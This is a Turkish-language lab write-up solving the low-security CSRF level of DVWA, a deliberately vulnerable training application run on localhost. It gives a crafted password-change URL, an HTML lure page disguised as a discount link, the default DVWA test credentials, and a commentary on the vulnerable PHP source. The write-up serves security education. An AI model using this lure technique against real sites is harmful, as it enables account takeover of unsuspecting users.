TryHackMe – Wonderland

Sıradaki içerik:

TryHackMe – Wonderland

CSRF DVWA (Low)

149 okunma — 15 Ocak 2024 12:00
avatar

Erkan Çekiç

  • e

    Eğlenmiş

  • e

    Eğlenmiş

  • e

    Şaşırmış

  • e

    Kızgın

  • e

    Üzgün

CSRF DVWA (Low) adlı bu writeup ta Damn Vulnerable Web Application ın odalarında biri olan CSRF odasının Low seviyesinin çözümü gösterilmektedir.

Mevcut kullanıcının username ve password bilgilerini ‘Test Credentinals’ kısmına girerek kontrol edilmiştir. Brute Force deneyerek alınan username ve password değerleri bu uygulamada da mevcut kullanıcının bilgileridir.

Mevcut Kullanıcı Bilgileri: Username=admin & Password=password

Panelden yeni parola girişi yapıldığında URL kısmında bir değişiklik olduğu fark edilmiştir.

Yeni parola giriş isteği, Burp Suite tarafından incelenmek üzere proxy edilmiştir.

Yeni parola bilgilerini URL ile gönderdiği görülmektedir ve bu isteğin manipüle edilmesiyle başka kullanıcıların bu URL e tıklaması ile parolalarını değiştirmek CSRF in mantığında yatan şeydir.

Payload : http://127.0.0.1:42001/vulnerabilities/csrf/?password_new=test1&password_conf=test1&Change=Change#

Bu payload’ı bir başka kullanıcı üzerinde herhangi bir html adresindeki bir butona tıklamasıyla çalışan bir forma getirmek amaçlanmıştır.

index.html
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <a href="http://127.0.0.1:42001/vulnerabilities/csrf/?password_new=test1&password_conf=test1&Change=Change#">Dev Indirim</a>

</body>
</html>
HTML

Hazırlanmış olan bu index.html sayfası başka kullanıcılar tarafından açıldığında ve ”Dev İndirim” e tıkladığında içerisine gömülen URL çalışacak ve kullanıcının parolası otomatik olarak manipüle ettiğimiz şekilde değişecektir.

Öncelikle denemek için “Log Out” yaparak ‘admin’ kullanıcı oturumundan çıkış yapılmıştır ve ‘gordonb’ username e sahip olan kullanıcı ile oturum açılmıştır.

Bu kısımdan sonra yazıyı masum ‘gordonb’ bakış açısıyla anlatmak amaçlanmıştır.

gordonb username ve password bilgilerini girerek oturum açmıştır.

Username: gordonb & Password: abc123

O da ne? gordonb mesajlarına baktığında tanıdığı birisi ona bir URL göndermiş. sayfaya gelerek “Dev Indirim” e tıklandığında parolası değişiyor.

“Test Credentials” yaparak oturum bilgileri test ediliğinde; ‘gordonb’ ye ait password ün ‘abc123’ ten ‘test1’ e döndüğünü ve artık yeni password ün ‘test1’ olduğu görülmektedir.

📋Kaynak Kod Analizi

CSRF DVWA (Low) da, bu sistemin nasıl çalıştığına dair daha fazla bilgiye ulaşabileceğimiz bir yer olan kaynak kod analizi kısmına gelelim.

‘View Source’ a tıklayarak sayfanın PHP kaynak kodlarını incelemekle başlıyoruz.

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>
PHP

Gelin bu sistemin arka planında neler çalıştığını daha detaylı inceleyelim;

  • 3. satırda $_GET['Change'] değişkenin varlığı kontrol edilir. $_GET ile alınan veriler URL parametresi ile geliyorsa if bloğuna girer.
  • Eğer Change parametresi varsa; $pass_new ve $pass_conf değişkenleri, yeni şifreyi ve şifreyi doğrulama için girilen değeri $_GET üzerinden alır.
  • 9. satırda girilen yeni şifre ile doğrulama şifresi karşılaştırılır. Eğer şifreler eşleşiyorsa, işlem devam eder; aksi takdirde, “Passwords did not match.” (Şifreler eşleşmiyor.) hatası verir.
  • 11. satırda; mysqli_real_escape_string fonksiyonu kullanılarak SQL enjeksiyon saldırılarına karşı koruma sağlanmaya çalışılır. Ancak, bu yöntem modern uygulamalarda genellikle önerilmemekte ve yerine parametreli sorgular kullanılması tavsiye edilmektedir.
  • 12. satırda $pass_new değeri MD5 hash fonksiyonu kullanılarak şifrelenir.
  • Ardından veri tabanındaki ilgili kullanıcının şifresini güncellemek için bir SQL sorgusu oluşturulur.
  • İşlem başarıyla tamamlandığında, kullanıcıya “Password Changed” (Şifre Değiştirildi) mesajı gösterilir.
  • Son olarak, MySQL bağlantısı mysqli_close fonksiyonu kullanılarak kapatılır.

Brute Force(Low) yazıma ulaşmak için buraya tıklayabilirsiniz.

  • Site İçi Yorumlar

En az 10 karakter gerekli

Gönderdiğiniz yorum moderasyon ekibi tarafından incelendikten sonra yayınlanacaktır.